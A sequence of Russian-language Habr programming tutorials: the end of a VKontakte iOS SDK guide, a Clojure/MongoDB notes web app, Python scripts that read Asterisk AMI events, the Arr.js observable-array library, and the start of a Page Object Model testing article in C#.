[[me photoAlbums] createTitle:@"Привет, Хабр!" description:@"Альбом с фотографиями для Хабра"];
```
Вступить в группу:
```
VKUser *me = [VKUser currentUser];
[[me groups] joinGroupID:100500];
```
Установить статус:
```
VKUser *me = [VKUser currentUser];
[[me status] setStatus:@"Привет, Хабр!"];
```
Получить список друзей, которые сейчас на сайте:
```
id result = [[[VKUser currentUser] friends] online];
```
##### С чего начать?
Предположим, что Вы уже добавили Vkontakte IOS SDK v1.0 к себе в проект и не знаете что делать дальше с этим.
Мы будем работать с классом VKConnector, который позволит нам получит+сохранить+использовать полученный токен доступа единожды, а в нужный момент он уведомит нас, что необходимо обновить токен и вызовет соответствующий метод делегата, который может следовать (а может и нет) VKConnectorProtocol.
Вот, как будет выглядеть самый простой способ подключения в ASAAppDelegate.m:
```
//
// ASAAppDelegate.m
// Vkontakte iOS SDK_Project
//
// Created by AndrewShmig on 05/27/13.
// Copyright (c) 2013 AndrewShmig. All rights reserved.
//
#import "ASAAppDelegate.h"
#import "ASAViewController.h"
#import "VKUser.h"
static NSString *const kVKAppID = @"3541027";
static NSString *const kVKPermissionsArray = @"photos,friends,wall,audio,video,docs,notes,pages,status,groups,messages";
@implementation ASAAppDelegate
- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions
{
self.window = [[UIWindow alloc] initWithFrame:[[UIScreen mainScreen] bounds]];
[[VKConnector sharedInstance] setDelegate:self];
[[VKConnector sharedInstance] startWithAppID:kVKAppID
permissons:[kVKPermissionsArray componentsSeparatedByString:@","]];
// Override point for customization after application launch.
self.viewController = [[ASAViewController alloc] initWithNibName:@"ASAViewController" bundle:nil];
self.window.rootViewController = self.viewController;
[self.window makeKeyAndVisible];
return YES;
}
- (void)VKConnector:(VKConnector *)connector willShowModalView:(KGModal *)view
{
NSLog(@"%s", __FUNCTION__);
}
- (void)VKConnector:(VKConnector *)connector willHideModalView:(KGModal *)view
{
NSLog(@"%s", __FUNCTION__);
}
- (void)VKConnector:(VKConnector *)connector accessTokenInvalidated:(VKAccessToken *)accessToken
{
NSLog(@"%s", __FUNCTION__);
}
- (void)VKConnector:(VKConnector *)connector accessTokenRenewalFailed:(VKAccessToken *)accessToken
{
NSLog(@"%s", __FUNCTION__);
}
- (void)VKConnector:(VKConnector *)connector accessTokenRenewalSucceeded:(VKAccessToken *)accessToken
{
NSLog(@"%s", __FUNCTION__);
}
- (void)VKConnector:(VKConnector *)connector connectionErrorOccured:(NSError *)error
{
NSLog(@"%s", __FUNCTION__);
}
- (void)VKConnector:(VKConnector *)connector parsingErrorOccured:(NSError *)error
{
NSLog(@"%s", __FUNCTION__);
}
@end
```
После запуска перед пользователем возникает примерно такое модальное окно (использовался KGModal) для авторизации приложения:
Если возникают вопросы или вы не знаете для чего нужен (за что отвечает) тот или иной метод, то обращайтесь смело к документации. Документация сгенерирована при помощи AppleDoc и выглядит в целом следующим образом:
VKConnectorProtocol:
XCode поможет в этом:
#### В завершение
Статья, как мне кажется, получилась достаточно длинной, так что на этом пока остановлюсь, хотя к сожалению многое не упомянул из того, что планировал (загрузка файлов, обновление токена, обработка ошибок и тд)
Хочу отметить, что проект активно развивается и поддерживается. Текущий статус проекта — «Готов», поэтому в v1.0 будут только исправляться ошибки и вноситься мелкие коррективы. Все глобальные изменения переносятся в v2.0.
Найти самую актуальную версию можно по этой ссылке: GitHub ( <https://github.com/AndrewShmig/Vkontakte-iOS-SDK> )
Некоторую информацию по Vkontakte iOS SDK v2.0, можно найти здесь: GitHub (<https://github.com/AndrewShmig/Vkontakte-iOS-SDK-v2.0/issues?labels=Future+features&state=open>)
Благодарю за внимание. | https://habr.com/ru/post/184560/ | null | ru | null |
# Веб-приложение на Clojure. Часть 2
Здравствуйте, уважаемые пользователи и посетители Хабра. В первой статье [Веб-приложения на Clojure](http://habrahabr.ru/post/263115/) были рассмотрены базовые инструменты и библиотеки для построения веб-проектов на Clojure. А именно Leiningen, Ring, Compojure, Monger, Buddy и Selmer. Здесь же речь пойдет об их практическом применении.
*Тем кто настроен на саморазвитие, через постижение кода в обход чтения статьи — прошу в конец страницы за ссылкой проекта на Github.*
##### Введение
И так начнем по порядку. Чтобы вам было интереснее, я решил выбрать более-менее прикладную направленность статьи. Сегодня мы создадим простое веб-приложение на Clojure, сие будет управлять заметками. Предполагаю, что у вас уже установлены Leiningen, Clojure и MongoDB (не забудьте его включить). Львиная доля содержания находится непосредственно в комментариях в коде, который для вашего удобства скрыт в спойлеры.
---
##### IDE
Для Clojure есть много разных редакторов и IDE, в этой статье я не стану приводить их плюсы и минусы, пуще вообще некогда не стану. У всех разные предпочтения, что использовать решать только вам. Я использую LightTable который написан на ClojureScript и полностью им доволен, для него имеется большое количество модулей, из коробки он располагает всем необходимым для начала разработки на Clojure и ClojureScript, в нем присутствует модуль ParEdit. Вам ничего не придется настраивать для подключения к проекту удаленно или локально по repl. Взаимодействие с repl в LightTable весьма своеобразно, на мой субъективный взгляд очень удобно — вы можете вызывать функции и просматривать их результаты в отдельном окне в режиме live (как например в Emacs и во всех других IDE) или делать тоже самое непосредственно в коде, достаточно перевести курсор на первую или последнюю скобку выражения и нажать cmd + enter (MacOS), после этого LightTable создаст соединение repl и скомпилирует это выражение, вам остается ввести название скомпилированной функции или переменной строкой ниже и просмотреть его результат прямо в коде.
---
#### Back-end
##### Project
Первым делом создадим наш проект: *$ lein new compojure notes*
Теперь у нас есть каталог с заготовкой нашего приложения. Давайте перейдем в него и откроем в редакторе файл project.clj. Необходимо добавить в него зависимости от используемых нами библиотек:
**project.clj**
```
(defproject notes "0.1.0-SNAPSHOT"
:description "Менеджер заметок"
:min-lein-version "2.0.0"
:dependencies [; Да-да, сам Clojure тоже подключаем
; как зависимость
[org.clojure/clojure "1.6.0"]
; Маршруты для GET и POST запросов
[compojure "1.3.1"]
; Обертка (middleware) для наших
; маршрутов
[ring/ring-defaults "0.1.5"]
; Шаблонизатор
[selmer "0.8.2"]
; Добавляем Monger
[com.novemberain/monger "2.0.1"]
; Дата и время
[clojure.joda-time "0.6.0"]]
; Поскольку веб-сервер подключать мы будем в
; следующей статье, пока доверим это дело
; Ring'у в который включен свой веб-сервер Jetty
:plugins [[lein-ring "0.8.13"]]
; При запуске приложения Ring будет
; использовать переменную app содержащую
; маршруты и все функции которые они содержат
:ring {:handler notes.handler/app}
:profiles {:dev
{:dependencies
[[javax.servlet/servlet-api "2.5"]
[ring-mock "0.1.5"]]}})
```
При запуске проекта Leiningen установит все указанные зависимости автоматически, все что вам необходимо так это указать их в project.clj и быть подключенными к интернету. Далее перейдем к созданию серверной части нашего приложения. Логичнее разместить функции отображения, работы с БД, обработчиков и маршрутов по отдельным файлам, чтобы не было конфликтов имен и ~~brain-fucking'a~~ неудобств, но это кому как нравится.
---
##### Handler (главный обработчик)
Начнем с handler.clj, о его создании за нас уже позаботился Lein и он находится в каталоге */src/notes* (в нем так же находится весь наш Clojure код). Это важная часть нашего приложения в ней содержится переменная **app**, которая включает в себя маршруты нашего приложения и базовый middleware (обертка запросов и ответов) для HTTP. Добавим в пространство имен маршруты нашего приложения, получится следующий код:
**handler.clj**
```
(ns notes.handler
(:require
; Маршруты приложения
[notes.routes :refer [notes-routes]]
; Стандартные настройки middleware
[ring.middleware.defaults :refer [wrap-defaults site-defaults]]))
; Обернем маршруты в middleware
(def app
(wrap-defaults notes-routes site-defaults))
```
---
##### Routes (маршруты)
Теперь создадим файл routes.clj, в нем разместим наши маршруты — которые при запросах методами GET и POST по указанным URI будут вызывать функции обработчиков форм, и отображений страниц. В этой части приложения мы используем API Compojure. Сразу приношу извинения за огромные куски кода тем кого это смущает, но в них я добавил множество комментариев, чтобы вам было легче понять логику их работы:
**routes.clj**
```
(ns notes.routes
(:require
; Работа с маршрутами
[compojure.core :refer [defroutes GET POST]]
[compojure.route :as route]
; Контролеры запросов
[notes.controllers :as c]
; Отображение страниц
[notes.views :as v]
; Функции для взаимодействия с БД
[notes.db :as db]))
; Объявляем маршруты
(defroutes notes-routes
; Страница просмотра заметки
(GET "/note/:id"
[id]
; Получим нашу заметку по ее ObjectId
; и передадим данные в отображение
(let [note (db/get-note id)]
(v/note note)))
; Контролер удаления заметки по ее ObjectId
(GET "/delete/:id"
[id]
(c/delete id))
; Обработчик редактирования заметки
(POST "/edit/:id"
request
(-> c/edit))
; Страница редактирования заметки
; на деле, полагаю использовать
; ObjectId документа в запросах
; плохая идея, но в качестве
; примера сойдет.
(GET "/edit/:id"
[id]
; Получим нашу заметку по ее ObjectId
; и передадим данные в отображение
(let [note (db/get-note id)]
(v/edit note)))
; Обработчик добавления заметки
(POST "/create"
; Можно получить необходимые нам значения
; в виде [title text], но мы возьмем
; request полностью и положим
; эту работу на наш обработчик
request
; Этот синтаксический сахар аналогичен
; выражению: (create-controller request)
(-> c/create))
; Страница добавления заметки
(GET "/create"
[]
(v/create))
; Главная страница приложения
(GET "/"
[]
; Получим список заметок и
; передадим его в fn отображения
(let [notes (db/get-notes)]
(v/index notes)))
; Ошибка 404
(route/not-found "Ничего не найдено"))
```
---
##### Controllers (обработка форм)
Для обработки POST, иногда GET запросов, в маршрутах выше мы используем так называемые функции «контролеры» (обработчики), вынесем их в отдельный файл. Здесь я намеренно опускаю полноценную проверку валидности входных данных так как это заслуживает отдельной статьи. Имя этому файлу controllers.clj, содержание его следующее:
**controllers.clj**
```
(ns notes.controllers
(:require
; Функция редиректа
[ring.util.response :refer [redirect]]
; Функции для взаимодействия с БД
[notes.db :as db]))
(defn delete
"Контролер удаления заметки"
[id]
(do
(db/remove-note id)
(redirect "/")))
(defn edit
"Контролер редактирования заметки"
[request]
; Получаем данные из формы
(let [note-id (get-in request [:form-params "id"])
note {:title (get-in request [:form-params "title"])
:text (get-in request [:form-params "text"])}]
; Проверим данные
(if (and (not-empty (:title note))
(not-empty (:text note)))
; Если все ОК
; обновляем документ в БД
; переносим пользователя
; на главную страницу
(do
(db/update-note note-id note)
(redirect "/"))
; Если данные пусты тогда ошибка
"Проверьте правильность введенных данных")))
(defn create
"Контролер создания заметки"
[request]
; Получаем данные из формы
; не будем плодить переменные
; и сразу создадим hash-map
; (ассоциативный массив)
(let [note {:title (get-in request [:form-params "title"])
:text (get-in request [:form-params "text"])}]
; Проверим данные
(if (and (not-empty (:title note))
(not-empty (:text note)))
; Если все ОК
; добавляем их в БД
; перенесем пользователя
; на главную страницу
(do
(db/create-note note)
(redirect "/"))
; Если данные пусты тогда ошибка
"Проверьте правильность введенных данных")))
```
---
##### DB (взаимодействие с MongoDB)
Очень интересная часть приложения, в её построении нам поможет библиотека Monger. Создадим файл db.clj, в нем будут хранится функции для взаимодействия с MongoDB. Конечно мы можем вызывать функции Monger напрямую в маршрутах и контролерах, но за это мы получим возмездие в отладке, расширении вместе с кучей дублирующегося кода, тем самым приумножим конечное кол-во строк кода. Monger так-же позволяет делать запросы к MongoDB посредством DSL запросов (для реляционных СУБД есть отличная библиотека sqlcorma), это очень удобно для сложных запросов, но в этой статье я не буду их описывать. Давайте добавим функции в db.clj:
**db.clj**
```
(ns notes.db
(:require
; Непосредственно Monger
monger.joda-time ; для добавления времени и даты
[monger.core :as mg]
[monger.collection :as m]
[monger.operators :refer :all]
; Время и дата
[joda-time :as t])
; Импортируем методы из Java библиотек
(:import org.bson.types.ObjectId
org.joda.time.DateTimeZone))
; Во избежание ошибок нужно указать часовой пояс
(DateTimeZone/setDefault DateTimeZone/UTC)
; Создадим переменную соединения с БД
(defonce db
(let [uri "mongodb://127.0.0.1/notes_db"
{:keys [db]} (mg/connect-via-uri uri)]
db))
; Приватная функция создания штампа даты и времени
(defn- date-time
"Текущие дата и время"
[]
(t/date-time))
(defn remove-note
"Удалить заметку по ее ObjectId"
[id]
; Переформатируем строку в ObjectId
(let [id (ObjectId. id)]
(m/remove-by-id db "notes" id)))
(defn update-note
"Обновить заметку по ее ObjectId"
[id note]
; Переформатируем строку в ObjectId
(let [id (ObjectId. id)]
; Здесь мы используем оператор $set
; с его помощью если в документе имеются
; другие поля они не будут удалены
; обновятся только те которые есть
; в нашем hash-map + если он включает
; поля которых нет в документе они
; они будут добавлены к нему.
; Так-же обновлять документы можно
; по их ObjectId с помощью
; функции update-by-id,
; для наглядности я оставил обновление
; по любым параметрам
(m/update db "notes" {:id id}
; Обновим помимо документа
; дату его создания
{$set (assoc note
:created (date-time))})))
(defn get-note
"Получить заметку по ее ObjectId"
[id]
; Если искать документ по его :_id
; и в качестве значения передать
; ему строку а не ObjectId
; мы получим ошибку, поэтому
; переформатируем его в тип ObjectId
(let [id (ObjectId. id)]
; Эта функция вернет hash-map найденного документа
(m/find-map-by-id db "notes" id)))
(defn get-notes
"Получить все заметки"
[]
; Find-maps возвращает все документы
; из коллеции в виде hash-map
(m/find-maps db "notes"))
(defn create-note
"Создать заметку в БД"
; Наша заметка принимается от котролера
; и имеет тип hash-map c видом:
; {:title "Заголовок" :text "Содержание"}
[note]
; Monger может сам создать ObjectId
; но разработчиками настоятельно рекомендуется
; добавить это поле самостоятельно
(let [object-id (ObjectId.)]
; Нам остается просто передать hash-map
; функции создания документа, только
; добавим в него сгенерированный ObjectId
; и штамп даты и времени создания
(m/insert db "notes" (assoc note
:_id object-id
:created (date-time)))))
```
---
##### Views (представление HTML шаблонов)
В файле views.clj мы разместим функции отображающие HTML шаблоны и передающие в них данные. В этом деле нам поможет библиотека Selmer, вдохновленная системой представления данных в шаблонах Django. Так же Selmer позволяет добавлять фильтры (функции) для обработки данных в самом шаблоне, тэги и предоставляет гибкие настройки самого себя. Займемся написанием функций отображения страниц:
**views.clj**
```
(ns notes.views
(:require
; "Шаблонизатор"
[selmer.parser :as parser]
[selmer.filters :as filters]
; Время и дата
[joda-time :as t]
; Для HTTP заголовков
[ring.util.response :refer [content-type response]]
; Для CSRF защиты
[ring.util.anti-forgery :refer [anti-forgery-field]]))
; Подскажем Selmer где искать наши шаблоны
(parser/set-resource-path! (clojure.java.io/resource "templates"))
; Чтобы привести дату в человеко-понятный формат
(defn format-date-and-time
"Отформатировать дату и время"
[date]
(let [formatter (t/formatter "yyyy-MM-dd в H:m:s" :date-time)]
(when date
(t/print formatter date))))
; Добавим фильтр для использования в шаблоне
(filters/add-filter! :format-datetime
(fn [content]
[:safe (format-date-and-time content)]))
; Добавим тэг с полем для форм в нем будет находится
; автоматически созданное поле с anti-forgery ключом
(parser/add-tag! :csrf-field (fn [_ _] (anti-forgery-field)))
(defn render [template & [params]]
"Эта функция будет отображать наши html шаблоны
и передавать в них данные"
(-> template
(parser/render-file
; Добавим к получаемым данным постоянные
; значения которые хотели бы получать
; на любой странице
(assoc params
:title "Менеджер заметок"
:page (str template)))
; Из всего этого сделаем HTTP ответ
response
(content-type "text/html; charset=utf-8")))
(defn note
"Страница просмотра заметки"
[note]
(render "note.html"
; Передаем данные в шаблон
{:note note}))
(defn edit
"Страница редактирования заметки"
[note]
(render "edit.html"
; Передаем данные в шаблон
{:note note}))
(defn create
"Страница создания заметки"
[]
(render "create.html"))
(defn index
"Главная страница приложения. Список заметок"
[notes]
(render "index.html"
; Передаем данные в шаблон
; Если notes пуст вернуть false
{:notes (if (not-empty notes)
notes false)}))
```
---
#### Front-end
##### HTML шаблоны
Наше приложение почти готово, осталось создать HTML файлы в которых будут отображаться данные. Каталог */resources* необходим для размещения статических файлов, т.е. даже после компиляции приложения в .jar или .war файл мы сможем заменять в нем файлы. В *public* в следующей статье мы добавим CSS таблицы. Ну а пока создадим каталог **templates** где расположим HTML файлы.
---
Первым делом создадим базовый файл для всех шаблонов, в нем будет содержаться основная разметка для всех страниц и блок content в котором разместится разметка остальных разделов. Начнем:
**base.html**
```
{{title}}
* {% ifequal page "index.html" %}
**Все заметки**
{% else %}
[Все заметки](/)
{% endifequal %}
* {% ifequal page "create.html" %}
**Добавить заметку**
{% else %}
[Добавить заметку](/create)
{% endifequal %}
{% block content %}
{% endblock %}
```
---
Теперь сверстаем шаблон с формой создания заметки. В него, как и во все формы нашего приложения необходимо добавить тэг {% csrf-field %}, который мы создали в view.clj, иначе при отправке формы мы получим ошибку Invalid anti-forgery token. Приступим:
**create.html**
```
{% extends "base.html" %}
{% block content %}
Создать заметку
===============
{% csrf-field %}
Заголовок
Заметка
{% endblock %}
``` | https://habr.com/ru/post/263131/ | null | ru | null |
# Asterisk + AMI + Python
Честно признаюсь, я долго думал, стоит ли публиковать этот материал. Для тех, кто умеет работать с AMI Asterisk, ничего интересного тут нет. Для тех, кто только начинает что-то делать, вряд ли разберётся в моём коде (хотя я старался писать понятно). Вангую комментарии вроде: «Зачем использовать Хабр для своих заметок?». С другой стороны, приведённый под катом скрипт может стать кому-то отправной точкой. Скрипт ничего не делает кроме того, что шлёт в консоль все события из AMI и умеет их фильтровать. Для примера, я показываю в консоле все звонки, которые попадают в любой из контекстов «zadarma-in» или «sibseti\_in». Если заинтересовал, прошу под кат:
Появилась задача в режиме реального времени смотреть, с какого транка пришел звонок, на какие кнопки в ivr нажал пользователь, кто ответил на звонок и т.д. Давно хотел попробовать поработать с AMI из Python, до этого у меня был небольшой опыт работы из Bash и то для организации обратного звонка.
Покопавшись с различными готовыми библиотеками быстро пришло понимание, что ни одна из них мне не подходит. В итоге был изобретён свой «велосипед» в виде скрипта, который всю информацию из AMI отдаёт в json. Используются стандартные библиотеки Python. Плюс в том, что в таком виде легко получить и распарсить любые события и не потерять привязку к конкретному звонку.
Первый скрипт печатает только те события, которые попали в любой из контекстов «zadarma-in» или «sibseti\_in».
**Скрипт№1**
```
import telnetlib
import json
import re
##
HOST = "192.168.10.10"
PORT = "5038"
user = "zabbix"
password = "password"
##
tn = telnetlib.Telnet(HOST,PORT)
tn.write("Action: login".encode('ascii') + b"\n")
username = "Username: " + user
tn.write(username.encode('ascii') + b"\n")
passWord = "Secret: " + password
string_NOW = ''
string_out = ''
cd = 0
tn.write(passWord.encode('ascii') + b"\n\n")
def telnet_for_string(string):
global string_out
string_out_def = ''
for mes in string:
try:
if string[mes]['Context'] == 'zadarma-in' or string[mes]['Context'] == 'sibseti_in' or string[mes]['Context'] == 'IVR':
Uniqueid = string[mes]['Uniqueid']
CallerIDNum = string[mes]['CallerIDNum']
Exten = string[mes]['Exten']
CallerIDName = string[mes]['CallerIDName']
try:
Digit = string[mes]['Digit']
except KeyError:
Digit = ''
# if Exten == 's' or Exten == 'h':
# Exten = ''
# Context = string[mes]['Context']
string_out_def = json.dumps({'Uniqueid': Uniqueid,
'CallerIDNum':CallerIDNum,
'CallerIDName':CallerIDName,
'Exten':Exten,
'Digit':Digit})
# print(string_out_def)
except UnboundLocalError:
1+1
except KeyError:
1+1
# print(string_out_def)
if string_out_def:
if string_out_def != string_out:
print(string_out_def)
string_out = string_out_def
while True:
string = ''
event_string = ''
elements_string = ''
c = 0
read_some = tn.read_some() # Получаем строчку из AMI
string = read_some.decode('utf8', 'replace').replace('\r\n', '#') # Декодируем строчки и заменяем переносы строк на #
# print(string)
# Отлавливаем начало строки и склеиваем строчку
if not string.endswith('##'):
string_NOW = string_NOW + string
# print('1 --->',string_NOW)
# Если строчка закончилась, то доклеиваем конец строки и
# совершаем магию, которая двойной перенос строки в середине строки заменит на $,
# а все одинарные переносы заменит на #, так-же удалим кавычки и обратные слеши
if string.endswith('##'):
string_NOW = string_NOW + string
string_NOW = string_NOW.replace('##', '$') # заменяем двойной перенос строки на $
string_NOW = string_NOW.replace('\n', '#') # Заменяем перенос на #
string_NOW = string_NOW.replace('\r', '#') # Заменяем перенос на #
string_NOW = string_NOW.replace('"', '') # Удаляем кавычки
string_NOW = string_NOW.replace('\\', '') # удаляем обратный слеш
# print('string_NOW -->',string_NOW)
# print()
# Делим полученую строчку на Евенты т.к. двойной перенос как раз её так и делил
events = re.findall(r'[A-Z][\w]+:\s[^$]+', string_NOW)
for event in events:
c+=1
# print('event ---> ',event)
event_elements = re.findall(r'[A-Z][\w]+:\s[^#]+', event) # А тут делим евенты на елемены
for element in event_elements:
element = '\"' + element.replace(': ', '\": "') + '\", '# Вручную делаем словарь
# print('element', element)
elements_string = elements_string + element # Склеиваем строчки обратно, получаем словарь
# event_string = event_string + '\"' + elements_string.split(':')[1].split(',')[0].replace('"','') + '\": ' + '{' + elements_string + '}'
# print(elements_string)
# print(str(elements_string.split(':')[1].split(',')[0]))
# собираем обратно евенты попутно формирую json:
event_string = event_string + '\"' + str(c) + '\": ' + '{' + elements_string + '}'
event_string = event_string.replace('}{', '},{') # Добавляем запятую между евентами
event_string = event_string.replace(', }', '}, ') #
event_string = '{' + event_string + '}'
event_string = event_string.replace('}, }', '}}')
# Превращаем полученую строчку в json, если вдруг есть ошибка в синтаксисе json, то выводим как сам невалидный
# json, так и строчку из которой не получилось его собрать.
try:
parsed_string = json.loads(event_string)
except json.decoder.JSONDecodeError:
print('#############################################', '\n\n\n')
print(event_string, '\n\n\n')
print(string_NOW, '\n\n\n')
print('#############################################', '\n\n\n')
# print(event_string)
# print(parsed_string['1'])
# Отправляем полученую строчку в функуию "telnet_for_string", в которой уже можно обработать полученую строчку.
telnet_for_string(parsed_string)
string_NOW = '' # Очищем строчку
```
И второй скрипт, который пишет в консоль все события, посмотрев на оба скрипта станет понятно что надо менять, чтоб достигнуть нужного результата. Если не совсем понятно, то парсить надо json «string[mes]» в функции «def telnet\_for\_string(string)»:
**Скрипт №2**
```
import telnetlib
import time
import json
import re
##
HOST = "192.168.10.10"
PORT = "5038"
user = "zabbix"
password = "password"
##
tn = telnetlib.Telnet(HOST,PORT)
tn.write("Action: login".encode('ascii') + b"\n")
username = "Username: " + user
tn.write(username.encode('ascii') + b"\n")
passWord = "Secret: " + password
string_NOW = ''
string_out = ''
tn.write(passWord.encode('ascii') + b"\n\n")
def telnet_for_string(string):
for mes in string:
print(string[mes])
while True:
# time.sleep(0.1)
string = ''
event_string = ''
elements_string = ''
c = 0
read_some = tn.read_some()
string = read_some.decode('utf8', 'replace').replace('\r\n', '#')
# print(string)
if not string.endswith('##'):
string_NOW = string_NOW + string
if string.endswith('##'):
string_NOW = string_NOW + string
string_NOW = string_NOW.replace('##', '$')
string_NOW = string_NOW.replace('\n', '#')
string_NOW = string_NOW.replace('\r', '#')
string_NOW = string_NOW.replace('"', '')
string_NOW = string_NOW.replace('\\', '')
events = re.findall(r'[A-Z][\w]+:\s[^$]+', string_NOW)
for event in events:
c+=1
event_elements = re.findall(r'[A-Z][\w]+:\s[^#]+', event)
for element in event_elements:
element = '\"' + element.replace(': ', '\": "') + '\", '
elements_string = elements_string + element
event_string = event_string + '\"' + str(c) + '\": ' + '{' + elements_string + '}'
event_string = event_string.replace('}{', '},{')
event_string = event_string.replace(', }', '}, ')
event_string = '{' + event_string + '}'
event_string = event_string.replace('}, }', '}}')
try:
parsed_string = json.loads(event_string)
except json.decoder.JSONDecodeError:
print('#############################################', '\n\n\n')
print(event_string, '\n\n\n')
print(string_NOW, '\n\n\n')
print('#############################################', '\n\n\n')
telnet_for_string(parsed_string)
string_NOW = ''
``` | https://habr.com/ru/post/415535/ | null | ru | null |
# Arr.js: события для стандартного массива
Arr.js — это «класс», унаследованный от стандартного `Array`. Отличительными особенностями являются: наличие события `change` для отслеживания любых изменений в массиве, и методы `insert()`, `update()`, `remove()`, `set()`, `get()` для упрощенной работы с массивом. Доступны все «родные» методы стандартного `Array`.
```
var fruits = new Arr('apple', 'orange', 'pineapple');
fruits.on('change', function(event) {
alert('I changed fruits: ' + fruits.join(', '));
});
fruits.push('banana');
```
**Код: Примеры работы основных методов**
```
var fruits = new Arr('apple', 'orange', 'pineapple');
fruits.get(0);
// apple
fruits.get(10, 'lime'); // trying to get undefined element - return defaultValue
// lime
fruits.get(20); // trying to get undefined element
// null
fruits.set(1, 'nut');
// ['nut', 'orange', 'pineapple']
fruits.insert(['lime', 'banana', 'kivi']);
// ['nut', 'orange', 'pineapple', 'lime', 'banana', 'kivi']
fruits.remove(function(item, index) {
if (item.indexOf('apple') !== -1) { // remove only items where word "apple" is founded
return true;
}
});
// ['nut', 'orange', 'lime', 'banana', 'kivi']
fruits.update(function(item, index) {
if (item.indexOf('nut') !== -1) { // update "nut" to "apple"
return 'apple';
}
});
// ['apple', 'orange', 'lime', 'banana', 'kivi']
```
Зачем событие change и как с ними работать
------------------------------------------
Наличие события позволяет сделать:
* подобие FRP: когда изменение одних данных должно повлечь за собой изменение других данных и так далее
* отложенный рендеринг: что то изменилось в массиве — обновили HTML (ala angular)
* автоматическое сохранение данных на сервер при любых изменениях
Поддерживается одно событие — `change`.
```
var fruits = new Arr('apple', 'orange', 'pineapple');
fruits.on('change', function(event) { // handler
console.log(event);
});
fruits.push('banana');
// { "type": "insert", "items": ["banana"] }
fruits.remove(function(item) { return item == 'banana'; });
// { "type": "remove", "items": ['banana"] }
```
Понять что произошло в массиве можно по передаваемому в `handler` объекту, `event`. Свойства объекта `event`: `type` может принимать значения: `insert`, `update`, `remove`. Свойство `items` позволяет узнать какие элементы массива были затронуты.
Наглядный пример
----------------
```
// Массив в котором планируем хранить данные о погоде
var weatherList = new Arr;
// При изменении в массиве - перересовываем список
weatherList.on('change', function() {
var el = $('#weather');
var celsius, maxCelsius, minCelsius, weather;
el.html('');
weatherList.forEach(function(item) {
celsius = Math.floor(item.main.temp - 273);
maxCelsius = Math.floor(item.main.temp_max - 273);
minCelsius = Math.floor(item.main.temp_min - 273);
weather = item.weather.pop().main;
el.append('- **' + item.name + '** ' + ' ' + celsius + ' (max: ' + maxCelsius + ', min: ' + minCelsius + ') ' + weather + '
');
});
});
// Загрузка погоды из сервиса, обновление массива weatherList
function loadWeather(lat, lng) {
$.get('http://api.openweathermap.org/data/2.5/find?lat=' + lat + '&lon=' + lng + '&cnt=10').done(function(data) {
// clear weather list
weatherList.remove(function() { return true; });
// insert items
weatherList.insert(data.list);
});
}
// Погода в Киеве
loadWeather(50.4666537, 30.5844519);
```
[Посмотреть рабочий пример на JSBin](http://jsbin.com/gidubu/2/).
В заключении
------------
Хочу добавить, что идея не нова, есть [github://MatthewMueller/array](https://github.com/MatthewMueller/array). Но код мне показался слишком перегруженным, что собственно может вылиться в проблемы с производительностью. Поэтому было принято решение «расширить» стандартный `Array`.
Планы: есть желание покрыть библиотеку качественными тестами — было бы хорошо, если бы кто ни будь, кто хорошо разбирается в этом — помог.
Расширять список методов пока не планируется, за исключением метода `removeListener()`.
[Репозиторий Arr.js и документация (en)](https://github.com/jmas/arr).
Комментарии по улучшению приветствуются!
**P.S.:** В личных целях был разработан компонент <https://github.com/jmas/list/blob/master/List.js> который использует Arr.js. Компонент используется для создания списков, которые самостоятельно обновляют HTML при изменении массива данных. Компонент использует [componentjs](https://github.com/componentjs/component) для разруливания зависимостей. | https://habr.com/ru/post/238197/ | null | ru | null |
# Page Object Model + Webdriver. Пример реализации на одном тесте
Решил написать эту статью, т.к. считаю данный подход наиболее эффективным для организации структуры проекта по автоматизации тестирования.
К сожалению не работал с другими инструментами по автоматизации кроме Webdriver или Selenium. Но, не смотря на это, мне кажется, что данный подход может быть использован и с другими инструментами.
#### Примеры кода будут на C# + NUnit.
Сразу хочу сказать, что данная статья является отражением моего собственного опыта и не содержит никаких ссылок или цитат. Написанное ниже является не более чем повествованием моего видения на данный подход и отнюдь не преподносится как постулат.
#### Почему же он так эффективен?
Наверное потому, что он вносит этот бесценный порядок в структуру проекта. Следуя принципам этого подхода, мы создаем структуру с четко разграниченными логическими модулями. А каждый такой модуль будет являться отражением логических модулей тестируемого приложения.
Это значительно облегчает поиск и переиспользование методов и, как следствие, облегчает обслуживание проекта. Также, в значительной мере сокращает время, необходимое новому участнику, для «вливания» в проект.
#### Структура
Примером послужит один несложный тест – логин на Facebook’e (успешностью входа будем считать появившееся имя пользователя в правом верхнем углу странички).
Пример реализации этого проекта можно скачать здесь [github.com/DmitryRoss/Page-Object-Model-Article](https://github.com/DmitryRoss/Page-Object-Model-Article).
— Во главе всего проекта стоят классы с NUnit тестами. Для нашего теста мы сделаем один такой класс и назовем его LoginTests. В нем создадим тестовый метод с названием AssertLogin().
```
[TestFixture]
public class LoginTests : BaseTests
{
static LoginHelper loginHelper = new LoginHelper();
[Test]
public static void AssertLogin(){...}
}
```
— Ниже находятся классы-Helpers. Каждый такой класс обслуживает один конкретный класс с тестами.
Но иногда, некоторые методы из классов-Helpers нужны другим классам с тестами или другим классам-Helpers. В таком случае, целесообразно вынести такие методы в отдельные общие классы, которые в иерархии структуры находятся на том же уровне, что и классы-Helpers. Ярким примером такого класса является класс навигации по приложении. Ведь переход к той или иной странице может понадобиться в разных классах с тестами или классах-Helpers. Обычно в каждом проекте есть и другие классы-Helpers, которые выносятся как общие.
Для удобства, методы возращают екземпляр класса-Helper, в котором они находятся. Это позволяет обращаться к ним в таком сокращенном виде, через точку —
```
loginHelper.
DoLogin(userName, password).
AssertUserName(displayedUserName);
```
В нашем примере мы создадим один такой класс и назовем его LoginHelper.
В нем мы создадим 2 метода.
1. DoLogin(string userName, string password)
2. AssertUserName(string userName)
```
public class LoginHelper :TestFramework
{
public LoginHelper DoLogin(string userName, string password){...}
public LoginHelper AssertUserName(string userName){...}
}
```
— И вот здесь начинается ядро нашего проекта — Pages, т.е. странички. Это классы со страницами нашего приложения. Т.е. каждый такой класс соответствует определенной странице приложения и он содержит локаторы и веб элементы этой страницы. Кроме этого, у него есть элементарные методы, которые используются на этой страничке классами-Helpers.
Я считаю, что хорошей практикой является разбиение на максимально мелкие элементы. Например, если у вас на страничке появляется всплывающее окошко, то лучше создать для этого окошка отдельный класс. Любое дробление должно быть очивидным и являться отражением чего-то в самом приложении.
